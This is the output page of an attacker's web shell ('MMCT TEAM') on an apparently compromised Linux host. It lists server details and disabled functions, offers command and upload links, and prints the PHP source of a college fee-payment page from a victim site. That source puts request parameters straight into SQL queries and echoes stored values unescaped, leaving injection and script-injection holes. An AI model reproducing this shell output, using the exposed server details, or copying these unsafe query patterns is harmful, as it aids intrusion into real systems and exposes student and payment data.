MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/demo.ncriptech.com/../websites/vtti.e-campus.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/demo.ncriptech.com/../websites/vtti.e-campus.co.in/paymiscfeemonthlypayment.php
<?php 
include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
	  $installment_id=mysqli_fetch_array($installment_id); 
$installment_id=$installment_id['menuper'];
	  $menuper=explode(',',$installment_id);
	   
	   if(in_array('Manage Fee',$menuper)){
		  
	   }else{
		 
	header("location:index.php");
		   
		}
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");

if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){
	  $dovalue="PaidMiscFee";
	  $doid=$_REQUEST['upid'];
	  $upuserresult=mysqli_query($con,"select * from payinstallment where id='".$_REQUEST['upid']."'");
	  $upuserarr=mysqli_fetch_array($upuserresult);
	  

		 
		   $installment_id=mysqli_query($con,"select * from setinstallment where id='".$upuserarr['installment_id']."'");
	  $installment_id=mysqli_fetch_array($installment_id);
	 
	  
	  $upuserresult1=mysqli_query($con,"select * from admission_enquiry_form where student_id='".$installment_id['studentid']."'");
	  $upuserarr1=mysqli_fetch_array($upuserresult1);
		 
	
	
	  
	  
	  
	
	 
}else{
 	  $dovalue="PaidMiscFee";
	  $doid='';
} 
?>
<style>
table.t01 tr:nth-child(even) {
    background-color: #eee;
}
table.t01 tr:nth-child(odd) {
   background-color: #fff;
}
table.t01 th {
    background-color: black;
    color: white;
}
</style>
<div class="content-wrapper">
  <!-- Content Header (Page header) -->
  <section class="content-header">
    <h1> Pay  Fee <small></small> </h1>
    <ol class="breadcrumb">
      <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
      <li><a href="#">Pay Monthly Fee</a></li>
    </ol>
  </section>
  <!-- Main content -->
  <section class="content">
    <div class="row">
      <div class="col-md-12">
        <div class="box box-info">
          <div class="box-header">
            <h3 class="box-title">Pay  Monthly Fee <small></small></h3>
            <!-- tools box -->
            <div class="pull-right box-tools">
              <button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
              <button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
            </div><!-- /. tools -->
          </div><!-- /.box-header -->
          <div class="box-body pad">
            <div class="col-md-12">

              <?php if(!empty($_SESSION['msg'])){
			  $msg=$_SESSION["msg"];
           echo '<div class="col-md-12">
			<div class="alert alert-success alert-dismissible">
  <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  '.$msg.'
		  </div>'; $_SESSION["msg"]='';} ?>
             
			    <div class="col-md-12">
                      
              
				<?php 
				$mobile=$_REQUEST['upid'];
                $student=$_REQUEST['upid'];
if(!empty($student)){
		$upuserresult1o=mysqli_query($con,
"select * from admission_enquiry_form where student_id='".$student."' and submitfee='0'  ");

	  $upuserarr1l=mysqli_fetch_array($upuserresult1o);
	  $numwoo=mysqli_num_rows($upuserresult1o);
//echo "<pre>";
//print_r($upuserarr1l);
//echo "</pre>";
if($numwoo>0){
 ?>
 
<?php
}else{

}
}
				if(!empty($mobile)){ 
				
				$upuserresult1=mysqli_query($con,"select * from admission_enquiry_form where student_id='".$mobile."'");
	  $upuserarr1=mysqli_fetch_array($upuserresult1);
	 

				?>
				
			  <div class="form-group col-md-4">
                 <h3> Student Id  :              
                 <?php echo $upuserarr1['student_id']."</h3>";?>
                </div> 
				  <div class="form-group col-md-4">
                 <h3> Name  :              
                 <?php echo $upuserarr1['name']."</h3>";?>
                </div> 
				
				<div class="form-group col-md-4">
                  <h3> Total Amount :
                  <?php echo $upuserarr1['totalfee']."</h3>";?>               
                </div>
               
				 <div class="form-group col-md-4">
                  <h3>TOTAL MICS Fee :                 
                  <?php echo $upuserarr1['miscfeemonthlytotalfee']."</h3>";?>
                </div>
				<div class="form-group col-md-4">
                  <h3>Due Misc Fee :                 
                  <?php echo $upuserarr1['miscfeemonthlytotalfee']."</h3>";?>
                </div>
				 <form method="post" action="action1.php" name="addcategory" id="addcategory" enctype="multipart/form-data"  role="form">
		 <div class="form-group col-md-12">
		 <input type="hidden"  name="do" value="<?php echo $dovalue;?>" />
                <input type="hidden"  name="doid1" value="<?php echo $doid;?>" />
                <input type="hidden"  name="UserID" value="<?php echo $_SESSION["ecomid"];?>" />
                 <input type="hidden"  name="monthly" value="monthly" />
		 <input type="hidden" name="student_id" value="<?php echo $upuserarr1['student_id'];?>" />
                  <?php if($upuserarr1['duemiscfeemonthlytotalfee']==0){
					  echo '<div class="form-group col-md-4">
                  <h3>Misc Amount Paid Done                  
               
                </div>';
				  }else{ ?>
                         <div class="form-group col-md-2" style="margin-top:-19px;">
                             <?php $upuserresultsum=mysqli_query($con,"select  sum(amount) as amount from addmiscfeeparticular where student_id='".$upuserarr1['student_id']."' ");
			$upuserresultsum=mysqli_fetch_assoc($upuserresultsum); ?>
                  <h3>Amount :                 
               <input type="number"  name="amount" value="<?php echo $upuserresultsum['amount'];  ?>" class="form-control col-md-2" style="width:150px;"  />
                </div>                                                       
             
                <div class="form-group col-md-2">
				<label>Payment Mode :</label>    			
				<select name="paymentmode" 	class="form-control" id="bankpa">		
				<option >-Select-</option>		
					<option value="Cash" <?php if($upuserarr['paymentmode']=='Cash'){ echo 'selected';} ?>>Cash</option>
				<option value="Cheque" <?php if($upuserarr['paymentmode']=='Cheque'){ echo 'selected';} ?>>Cheque</option>
	         					
				</select>		                      </div>                  
				
			
				
			

					
								 


               <div class="form-group col-md-2"  id="bankhide" style="display:none;">        
				<label>Bank Name:</label>    				
				<input name="bank_name" type="text" class="form-control" id="checkno" 
				value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['bank_name'];}?>" placeholder="Bank Name">   
				</div>           
				
			  
                  <div class="form-group col-md-2" id="checkhide" style="display:none;">             
				<label>Cheque No :</label>    				
				<input name="checkno" type="text" class="form-control" id="checkno" 
				value="<?php if(isset($_REQUEST['upid'])){ echo $upuserarr['check_no'];}?>" placeholder="Cheque No">   
				</div>           
				
              			    <div class="form-group col-md-2" id="deposithide" style="display:none;">
				 
                           <label>Deposit To  :</label>
                           <select name="bank" class="form-control subject" id='banknamfdg'>
                              <option  value="NA" class='asde'>-select-</option>
                              <?php $CasteQuery=mysqli_query($con,"select * from bankdetails");
                                 while($CasteRow=mysqli_fetch_array($CasteQuery)){ 
                                              echo '<option value="'.$CasteRow['id'].'" '.($upuserarr['bank'] == $CasteRow['id'] ? 'selected="selected"' : '' ).'  >'.$CasteRow['bankname'].'</option>';
                                 } ?>                  
                           </select>
						   </div>
                        </div>					
               	
				   <div class="box-footer col-md-12">
                  <input type="submit" class="btn btn-primary" name="ctl00$ContentPlaceHolder1$btnsave" value="Pay"/>        <input type="reset" name="ctl00$ContentPlaceHolder1$btn_reset" value="Reset" id="ContentPlaceHolder1_btn_reset" class="btn btn-primary">           
                </div>
				</div>
				
              </form>
				  <?php } ?>
              
				  <?php 
				 $setinstallmentq=mysqli_query($con,"select *,paymiscfee.id as ids from paymiscfee left JOIN admin ON 
			  paymiscfee.user_id=admin.id  where paymiscfee.student_id='".$upuserarr1['student_id']."'");
			
			  
	  $setinstallment=mysqli_num_rows($setinstallmentq);
	  
	  if($setinstallment>0){
		  echo "<table style='width:100%; margin-top:30px;' class='t01'>";
		  echo "<tr><th>Payment Date</th><th>Amount</th><th>Payment User</th>
		  <th>View Recipt</th>
		  <tr>";
		  while($setinstallment=mysqli_fetch_array($setinstallmentq)){ 
		      $ids=$setinstallment['ids'];
			  echo "<tr><td>" . $setinstallment['created_at'] . "</td><td> " . $setinstallment['amount'] . "</td>
			 <td> " . $setinstallment['username'] . "</td>" ?>
			 <td>  <a href='./paymiscfeericpts.php?upid=<?php echo $ids; ?>'><i class='fa fa-eye'></i></a></td>
		<?php 	 echo "</tr>"; 
			  
		  }
		  echo "</table>";
	  }else{
		  echo "No MISC Fee Submit!";
	  }
			?>

				
				                                                          
                
				<?php } ?>
			</div>
			
            </div> 
          </div>   
        </div><!-- /.box -->
      </div>
<div class="modal fade" id="exampleModalCenter" tabindex="-1" role="dialog" aria-labelledby="exampleModalCenterTitle" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="exampleModalLongTitle">Modal title</h5>
        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body">
        ...
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
        <button type="button" class="btn btn-primary">Save changes</button>
      </div>
    </div>
  </div>
</div>
<!-- /.col-->
    </div><!-- ./row -->
  </section><!-- /.content -->
</div>
<?php include('include/footer.php');?>

<script>
$('#selectoption').on('change',function(){  
   
   var vales=$('#selectoption :selected').val();
if(vales=='0'){
//alert(vales);
$('#selectoption').css('display','none');
$('#moblies').css({'display':'block','width':'200px'});

}else{
$('#moblies').css({'display':'none','width':'200px'});
$('#selectoption').css('display','block');
}

if(vales=='1'){
window.location='setinstallmentreports.php';
}

if(vales=='2'){
//alert(vales);
$('#selectoption').css('display','none');
$('#student').css({'display':'block','width':'200px'});

}else{
$('#student').css({'display':'none','width':'200px'});
$('#selectoption').css('display','block');
}

});

	$('#bankpa').on('change',function(){
	    if($('#bankpa').val()=='Cash'){
	 
	   $('#deposithide').css('display','none');
	   $('#bankhide').css('display','none');
	   $('#checkhide').css('display','none');
	    }else{
	   $('#deposithide').css('display','block');
	   $('#bankhide').css('display','block');
	   $('#checkhide').css('display','block');
	    }
	});
</script>
	

MMCT - 2023